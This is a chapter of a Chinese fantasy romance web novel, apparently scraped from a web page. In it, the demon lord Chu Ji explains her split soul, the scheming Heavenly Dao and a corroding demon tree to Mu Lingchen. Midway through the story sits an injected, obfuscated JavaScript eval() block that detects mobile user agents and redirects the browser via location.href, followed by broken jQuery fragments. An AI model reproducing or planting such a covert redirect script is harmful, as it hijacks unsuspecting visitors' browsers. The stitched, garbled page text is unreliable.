73. 沐灵忱,你会怎么选?

作品:《老祖她曾言不娶[女尊]

    “所以……你只是可怜我吗?”沐灵忱翻过墙身,稳稳地坐上墙头,笑意不达眼底。


    他原是想给褚寂一个惊喜,可现在看来,这惊喜怕是对他的惊吓。


    “还是愧疚?”沐灵忱问道,若褚寂真的和小影是同一人,那这份愧疚也就情有可原了。


    若真的如此,他又要如何呢?


    沐灵忱脑海中闪过将她强行留下的想法,可他的实力要怎么留下这个令天下胆寒的魔主……他攥紧了手心,掌心被磨破的地方火辣辣的刺痛,却无法抵达忐忑的心底。


    他的视线落在寒风吹拂起她的衣角,落在晃动的枝头,甚至是半掩的圆月,仍是不敢与褚寂对上目光,生怕那冰冷的目光再次在她眼底浮现,让他失去再问下去的勇气。


    沉默在她们之间仿若一条没有尽头的长河。


    “我不曾怜悯过你。”


    沐灵忱猛然回过神,似乎看到了褚寂也有些惊讶的表情,他不能确定。


    褚寂怔愣了瞬,不动声色地将自作主张的青色丝线压下,收回了掌心。


    两道声音无声的对峙起来。


    [用我的声音?]


    [不然呢?你愿意让我说?]


    “什么意思?”见她再次沉默起来,沐灵忱忍不住问道。


    [你在犹豫什么?]


    小影忍下钻出衣袖的冲动,不明白她的缄口不语。


    [你不长嘴我替你说,好好的非要把人弄哭你才高兴?]


    小影的话音方落,沐灵忱的眼圈渐红,似是被褚寂的沉默伤到,他收回视线,就要转身离开。


    褚寂终于开了口,“若你是说天玄宗的楚寂,她不曾可怜过你。若你说人间的小影,她确实对你有些愧疚,是她能力不足,不能护好你和人间。”


    沐灵忱僵住身体,缓缓转过身。


    “那……”


    “我对你说过做过的,不掺任何虚情假意,全凭心动。”褚寂仰视着他,给与墙头上的少年最为真挚的答复。


    她并拢三指,起誓道:“这句话若有半分欺骗,我褚寂永世不得入轮回,甘愿受九十九道重天雷,哪怕魂飞魄散。”


    一道白光自她指尖飞出,飞入天际,天地誓约即成,却什么也没发生。


    她说的是真的。


    青芒很是欣慰,彻底安分下来。


    [算你没白活那么久。]


    沐灵忱耳边回荡着那句“全凭心动”,兔眸恢复了光亮,却也闪着水光。


    “那日你一声不吭地转身就走,你知道我是怎么想的吗?”沐灵忱擦去眼泪,诉说着他多日来积攒的委屈。


    “我在想,你若真的走了,我再也不会追着你不放了。从此以后,你便是跪着来求我回心转意,我也不会和你多说一句话。”


    他心中还留存着那日的闷气,索性将那些情绪全部抛出,也不管褚寂会怎么想。


    “我是把你推进了锁魂阵,可是你知道我有些不对劲,你难道连问也不问就给我判了死罪。你你一句解释也不让我说,还用那种眼神看着我,我的心不会痛吗?”


    “就算小影和你是一个人,可你什么也不告诉我,任由我胡思乱想,白白为你提心吊胆,还要被你的藤纹影响,你知道我的手腕疼了多久吗?”


    沐灵忱拉开衣袖,露出手臂,藤纹的周围还带着淡淡的黑红,似是彻底留下了伤疤。


    “我不知道你到底怎么了,你明明很难受,我以为你是受伤了,你知道我有多担心你吗?褚寂,你若是不想我成为你的负担,你就不该什么都瞒着我,你要相信我,我可以和你一起面对一切……”


    心中积攒的碎石被吐出,沐灵忱感到轻松的同时心中也越发没底,声音渐渐弱了起来,不禁问起了他自己。


    “我可以吗?”


    她会不会不想让他靠近她的秘密……


    褚寂听完了他的话,思忖良久才道:“我可以把那道藤纹抹去,这样它就不会疼了。”


    沐灵忱看了她许久,确认她没有在说笑。


    “你只想说这句话吗?”


    墙下的人影再次陷入了沉思,沐灵忱也不催促她,颇有耐心地等着她再次开口。


    在他数到墙顶的第十个墙缝时,褚寂再次组织好了语言。


    “我知道你不会害我,我已经把你灵海中的那道声音清除了,你不用再担心了。”


    沐灵忱反驳道:“我没有担心过那道声音,我很担心你,褚寂,你真的什么也不想解释吗?”


    “你想听吗?”


    这世间怕是没有比沐灵忱更想听的人了,他毫不犹豫地应下。


    “想。”


    “那你先下来。”


    冬日的寒风刺人,石墙又十分冰寒,褚寂十分不解他为何会爬墙角。


    看出了褚寂的想法,沐灵忱摇头拒绝道:“有灵气护体,我不冷,这里还没有天玄宗的思过崖冷。”


    他可是抗过了思过崖的刑罚,这点寒风又算得了什么。


    “也是,你不说我都忘了,会灵气护体的修士不走正门,反而学会了爬墙。”褚寂摆摆手,就要学着沐灵忱侧过身,做出了转身之意。


    “你……”


    沐灵忱被她说得羞红了脸,他也不知道他为什么会在听到她的声音后,鬼使神差地爬上墙头。


    “我还以为你和我一样重伤未愈,不便动用法术呢。那这样吧,正好我也累了,你不想听的话我们改日再聊也好,我可能还要回去睡个十天半个月也说不准。”


    褚寂叹声气,一副很是可惜的模样,脚尖一转,似是真的要回房了。


    “重伤?你等等我。”沐灵忱慌了神,一时间又把术法抛掷脑后,想要直接跳下两人高的石墙。褚寂没有真的转身,见到他如此,不禁笑出了声。


    她调转脚步,向沐灵忱走近了些,伸开了双臂,“跳吧,我能接住你。”


    “可是你的伤……”


    她露出一个真挚的笑容,“骗你的,快下来吧。”


    “你——”沐灵忱瞪了她一眼,也不再犹豫,瞄准方向稳稳落入她怀中,为了稳住她们二人的身体,他死死扒在褚寂身上,双腿锁住了她的腰身。


    “嘶~”褚寂被他撞得倒吸一口凉气,踉跄几步。


    “其实刚才那句才是骗你的,确实伤势未愈。”


    “褚寂!”沐灵忱反应过来,就要挣脱开她的怀抱,谁知褚寂环紧了他的腰腹,将他抵上了墙壁。


    透心凉的温度透过衣料传入他后背,却像雪烬般融化在她眸中。


    她在笑,笑意牵动了她眸中那片星辰。


    “是小伤,不碍事。”


    沐灵忱一阵语塞,“我不信。”


    她转口便将他的思绪带偏。


    “你怎么变笨了,还想跳墙,不怕把你的脚扭了。”


    “我……”


    沐灵忱红透了脸,辩解道:“爹爹不习惯我在他面前动用术法,时间久了,我差点忘了我还学过术法,还有些不习惯。”


    她的目光停留在沐灵忱脸颊似红霞般的晕染,最终,那带着侵略性的目光落在了他唇间。


    他的气息能抚平她心中的躁动,褚寂想到了那日晕倒前唇间卷进的鲜血,那股渴望再次涌上心头,叫嚣着想把沐灵忱吸干抹净。


    很奇怪……


    “你别这样看着我……”沐灵忱垂起头,试图将话题移向正轨,“你还没向我解释……”


    他的话被褚寂强势打断,只剩下了微弱地哼叫,被迫顺从着那股长驱直入的凉意在他唇间搅动,交换着互相的温度。


    后背与墙面完全贴合,呼吸彷佛要被褚寂剥夺,沐灵忱脑海中只剩下了缺氧带来的窒息感,彻底没了力气,软下身子。


    直到唇瓣处袭来一阵刺痛,那片冰凉将血珠扫过,这才结束了这略显漫长的窒息感。


    “你咬我?”沐灵忱大口呼吸着,摸上了红肿的唇角。


    褚寂没有反驳,反而舔了舔嘴角,“很香,你要尝尝吗?”


    “……”


    沐灵忱不理解她在发什么疯,他并没有品尝自己鲜血的爱好。


    “走吧,我确实不能轻易动用术法,这里有些冷。”她放开了沐灵忱,牵起他就向屋内走去。


    无人注意的角落,她身上掉落下一根微不可见的青丝,青丝变成了黑猫的模样,直到那两道身影被门扉遮挡,这才转身离去。


    她的手一贯没有温度,沐灵忱也不知道她的话是真是假,就这么被拉进了屋内,甚至在毫无防备的情况下被推入了床帏内。


    就算沐灵忱再迟钝,也感觉到了褚寂的不对劲和这床帏中逐渐升温的氛围。


    她眸中涌现出了些微红血丝,狂热的渴望似要将他淹没。


    “疼……”


    沐灵忱没有反抗她,任由她拉下那本就脆弱的衣领,在那片完好的皮肤上索取,可被牙齿穿透的痛感让他抓紧了身下的被褥。


    好在这痛楚十分短暂,褚寂很快便清醒过来,用棉被盖住了他的身体,缓了许久才回过神来。


    “你该推开我,我有时候会有些神志不清。”她眼底的红丝不见了踪迹,沐灵忱怀疑他是否看花了眼。


    他推开褚寂,胡乱扯好衣领,带着一丝别扭说道:“你又没告诉我过,我怎么知道你是神志不清还是……”


    “还是什么?”她一时没有回味过沐灵忱的话。


    “你把我拉到这里,你说是什么?”沐灵忱一口气噎在嘴边,她方才还把门带上了,这让他如何不想岔。


    夜深人静,孤男寡女,她又还那样急切,上来便扯他的衣服。沐灵忱的思绪早已被一些不堪入目的画面覆盖,哪能想到她根本不是这个意思。


    “我……抱歉。”褚寂明白了过来。


    她拉住沐灵忱,指尖在他锁骨处划过,抹去了那道牙痕,视线又被他手腕处的黑红吸引。


    “我不要。”见她还想抹去那道藤纹,沐灵忱赶忙抽回了手。


    “你给我的东西还想收回,我不同意。”


    “可是,我的状态会影响到你,若我受伤了,你也会疼。”


    沐灵忱摇摇头,许是害羞的影响未褪,脸颊的绯红还未散去。“我还要用它感受你的状态,不然你受伤了也只会瞒着我。”


    “你还没和我解释,在你没有解释清楚之前,你不准碰我。”沐灵忱拉紧了领口,离她远了些,几乎要坐到床头。


    褚寂无奈失笑,只得作罢,她揉起额角,脑海中十分清明,却支撑不了多久。


    “你想听什么?”


    对上了沐灵忱不悦的目光,她解释道:“故事太长了,我若是从头说起,怕是要讲许久。”


    “你忍心看我拖着病躯与你讲个三天三夜吗?”她扮出虚弱的样子,看起来像是真的病入膏肓了般,这模样将沐灵忱吓了一跳,也顾不上保持距离,就要去探查她的伤势。


    褚寂没有阻拦,她的灵海一片混乱,还未调整好的气息横冲直撞,她仅仅是护住了沐灵忱探入的灵力不被她的灵气所伤,便是一阵疲惫袭来。


    “怎么会这样?”沐灵忱收回游走一圈的灵力,眉头越皱越紧,几乎要拧成与她灵海中那般杂乱的线条。


    “这就是你说的小伤?我就知道你没一句真话。”


    “重塑那么多人的灵魂与血肉,总要付出些代价吧。”她顺势滑入沐灵忱胸怀,慵懒地靠在他身上。


    “说吧,你想听什么,我慢慢讲。”


    她越来越喜欢沐灵忱身上的味道,那味道似乎带着可以安抚灵魂的柔和感。


    沐灵忱想了想,还是问了个他最想知道的问题,“小影和楚寂,到底哪一个才是你?”


    “都是我。”


    “不是化身?”


    “不是。”褚寂抓起他的手,抚过他掌心被擦破的皮肤,消去了那些裂口,这才停下了所有动作,只是开口回答着他的问题。


    “你还记得你的剑灵老祖吗?她只有一魄。”


    “如你所见,她们都是我三魂七魄分裂后重新修炼的结果。”


    沐灵忱从未听说过六界中会有这种存在。


    更别提如今的神器或灵器认主,最基本的要求便是修士拥有一个完整的灵魂,否则只能通过原器主赠与的方式获得属于自己的神器。在这样的约束下,三魂七魄重新修炼在沐灵忱耳中听起来像是天方夜谭。


    可她是褚寂,这一切似乎又很合理。


    毕竟什么话都能从她嘴中吐出,不分真假。


    “你为什么要在幽血秘境自爆?”沐灵忱不觉得以她的实力会不敌当时的万剑宗宗主晁郁,她明明有更好的选择。


    “随我去看看?”她伸出手,示意沐灵忱握住她的手。


    沐灵忱照做,两只掌心相握的瞬间周围的一切瞬间变换了模样。


    水墨画卷染上了颜色,勾勒出了与现实毫无区别的卷面。


    这是个比重阳殿还要富丽堂皇甚至于如平原般宽阔的主殿。


    殿中心站着一名白衣剑修,不过那女子一身的浩然正气此刻却显得有些扭曲,配上那副满是妒容的眉眼,只让人心底生寒。


    沐灵忱打量了番周围,认出了这是万剑宗的主殿。也就只有那只存在于传说中的万剑宗有这等实力修建这么大的主殿,当初魔主带走了万剑宗的修士,后崛起的剑宗再也没达到万剑宗曾到达的高度。


    若这是万剑宗,那眼前的女人也只能是万剑宗宗主晁郁了。


    沐灵忱还在观察,一道声音突然响起。


    “晁郁,你做的很好,照这样下去,其他四界若是与你联手。不过是一个褚寂而已,她怎么会是你的对手,到时候这六界都要对你俯首称臣。”


    空荡荡的殿内莫名传出一道嘶哑的声音,沐灵忱四处查看着,却没再找到第二个人的身影。


    褚寂点了点他额角,“你再看看。”


    沐灵忱点点头,再看去,只见一团巨大的白云团浮在空中,那声音正是那朵云团发出的。


    “这是?”一朵会说话的云?


    幻觉中的幻觉。


    “这就是天道。”褚寂为他解释着:“天道与晁郁勾结,利用万剑宗的弟子们气运与欲念为食,不过百年便恢复了大半实力。晁郁的欲念滋生,妄图踏平魔界,不惜使些栽脏陷害的手段引起四界众怒,将祸水引向魔界。”


    “我已经派人将鬼域之主的弟弟掳走,可是那个稽岳竟然不相信我,不肯相助,还好他手下有几个蠢货愿意出兵来助我攻打魔界。”晁郁阴森森的声音在殿内回荡,她像只丧失了理智的恶魂,只剩下了妒恨之色。


    “天道会左右人的心智,与天道站一条线上的人,只会迷失在自己的欲望中,再也找不到回头的路。”褚寂看着沐灵忱,似乎在看另一个人。


    天道得意的声音再次响起。


    “无妨,这些人足够我饱餐一顿了,到时候只要有我在,区区一个魔界而已,不足为惧。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15128290|162556||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “天道是杀不死的吗?”沐灵忱不明白,哪怕过了这么久,为什么天道还活着,甚至能将手伸向天玄宗。


    “规则之力杀不死它吗?”


    褚寂挥散这片影像,回答道:“曾经我也是这么想的,不过我找到了杀死它的办法。”


    她接下来的话让沐灵忱失去了思考的能力。


    “我有一魄被天道动了手脚,只要杀了那一魄,那么天道便不再是不死不灭之身。”


    “你说……什么?”沐灵忱怀疑他听到了幻听。


    眼前的场景再次变换,这次他又来到了魔界的寒冰炼狱。


    此时的寒冰炼狱没有被寒冰覆盖,仿若一幅花鸟嬉戏图,一片生机盎然。


    “是我无暇顾及修仙界,以至于万剑宗与前往攻打魔界的修士们被天道汲取了全部生命力,形同一具具傀儡。她们一个也不能留,不然后患无穷,希望她们来世会遇见一个好宗主吧。”


    当初她让虚芹风提前在幽血布下阵法,便是要耗尽天道在那些魂魄上留下的气息,杜绝天道利用她们死灰复燃的可能性,可惜,她想错了。


    天道死灰复燃的原因是因为她……


    “无暇顾及?”沐灵忱还震惊在她所说的灭魄中,抬眸却被那参天树身下的痕迹击碎了理智。


    那摇曳的树身下,自树根蔓延出一片黑烬,带着腐朽味道的黑线从埋在土地中的树根爬出,露出了一半头脚。


    “为何我之前没有注意到这些黑线?”沐灵忱蹲下身用衣袖擦着那些黑线,可那些黑线彷佛嵌入了树身,怎么也擦不去。


    “我在树身外加固了一层符文,会让它看起来一切如常,不然看着那些腐蚀逐渐蔓延也挺心烦。”褚寂拉起沐灵忱,拦下了他想要继续擦拭树身的行为。


    “没有用的,这不是天道所为,是魔树在自我腐蚀,当初为了找到解决办法,我便放弃了搜寻天道的踪迹,没想到它还能有那么大的能力。”


    “可是?总会有原因的不是吗?”沐灵忱不敢相信这个事实。


    魔树在自我腐蚀,那褚寂岂不是……


    “所以你才会神志不清?”


    褚寂摇摇头,取出了天印,黄白的卷轴展开,上面只单单写着褚寂一人的名字。


    “你可还记得这个?”


    沐灵忱点点头,“你把我留在镇龙阁的结界时我见过这个东西。”


    可也仅仅于此了。


    “除了镇龙阁,你可曾见过它?”褚寂继续问着,似要一定从他口中听到一个满意的答案。


    “我真的没有见过,这到底是什么?”世间关于天印的记载少之又少,更别提流传下的图文,沐灵忱怎么可能会猜道眼前的天印会是一道卷轴。


    在他的猜想下,天印该是与人间玉玺相似的印章。


    褚寂的防备之色让沐灵忱心慌,他忍不住拽住她的衣袖,试图寻求些安慰。


    “这就是天印。”她合上卷轴,将天印递向沐灵忱。“不如这样,你先帮我保管着,待到有用时我自会向你取回。”


    褚寂这样说着,可心底的防备还未完全散去。她在天印上施下了术法,只要沐灵忱有异心,天印便会重新回到她手中。


    可褚寂并不担心这道无用的卷轴,她的心跳失去了节奏,只为即将到来的答案感到焦躁。


    沐灵忱,你会怎么选?


    是天道……还是我……


    可是答案似乎很明显,封邑咎不是提醒过她,要注意天印吗?


    他早已做出了决定。


    只是她忘了。


    沐灵忱没有接下天印,反而将那卷轴推远了些。“如果这东西对天道很重要,你就不应该把它交给我。”


    他自嘲地笑了笑,“我现在的实力连自己都保护不了,只会毁了你对我的期待。”


    虽然掌心被磨破的伤口已经愈合,可那份不甘还萦绕在他心头,“我一直在努力练习剑法,可是我距离你的修为还有好远,远到我看不见尽头。”


    堵塞思绪的石头被挪开,褚寂终于确认了他真的什么也不知道。


    “你现在的心绪太乱,本就不适合修炼,急于求成对你的修为没有任何帮助。”褚寂收起卷轴,紧绷的思绪放松,随之而来的是倦意。


    “放心,你的剑骨没有天道作祟,修为上涨不过时间问题。”褚寂开玩笑道:“你若是想跟上我的脚步,怕是要再找颗树种住进去了。”


    她不再隐瞒。


    “魔树的前身是颗神树,我用了特殊方法讲他培育成苗,让它变成了如今的模样。可正是如此,它本应纯粹的神气中夹杂了些杂质,我猜测这是它便是它腐蚀的原因。”


    “你还好吗?”沐灵忱很担心魔树的自我腐蚀会影响到褚寂。


    褚寂给了他一个放心的眼神,疲惫地抱住他,吸取着他身上的气息。


    “我没事,其实……魔树的腐蚀不会对我有影响,我只是寄生在它身上,我们之间不算共生,只有它死了,我才会受到影响。”


    “我用它创造了规则之力,它的腐蚀只会影响到规则之力掌管这世间的力量,九千年前幽血生出的时空裂隙便是规则之力愈渐虚弱的证明。”


    “既然魔树的力量不够纯粹,我便打算让它的力量加入更多杂质,也许物极必反,这个世界还有救。”


    “更多……杂质?”


    沐灵忱没能明白她的意思。


    “魔气对它来说是杂质,这六界中,可不止魔气这一种杂质,若是将六界的气息全部融合,规则之力只会比天道那只老鼠有过之而无不及。”


    而这一切只有她能做到,分开三魂六魄,是她试错的最后一个办法了。


    既然神气失衡了,那她便要借全六界的气息,让神气老老实实安静下来。


    “其实,当初我不是这么想的,我认为这个世界其实没什么好留恋的,毁了也就毁了。我是不是很自私,我没有你想的那么多,虽然你满嘴虚伪之词,可却是真的想救那些人。”


    她还记得,她最初的打算便是杀了天道泄愤,之后的一切,她都不想参与,只想留在魔界陪着那些人慢慢老去。


    如果他活着,这一切的重担也不会落在她身上。


    而她,最烦这些麻烦了……


    褚寂想着想着,慢慢闭上了眼睛。


    “我先睡会,让我抱会,别走。”


    沐灵忱回过神,周围的景象散去,而他仿佛做了场不可思议的梦。许多问题停在嘴边,被她平稳的呼吸声打散。


    什么叫她创造了规则之力?什么叫杀了她的一魄天道就不再是不死不灭之身了?什么又叫融合六界的气息?


    更重要的是,他什么时候满嘴虚伪之词了?


    他的思绪仍在组织着褚寂的话,许是他不太聪颖,待到他真正反应过来褚寂说的话时,他早已被震惊成了一具活化石。


    沐灵忱描着她五官的轮廓,心中还是拿不定主意。


    罢了,褚寂也许是在开玩笑,魔主创造了规则之力,这个消息放在六界估计也只有他这个傻子信了。


    可他又隐约觉得,她这次没有骗他。


    沐灵忱想累了,索性也盖过被子沉沉睡去,完全没有注意到窗外渐白的天色。


    待到他被一阵急促的敲门声吵醒时,早已为时已晚。


    “沐灵忱,你给我出来!谁让你偷跑去找那个王八的!”沐寻双火冒三丈,只想破门而入,却又怕看到什么不该看的画面。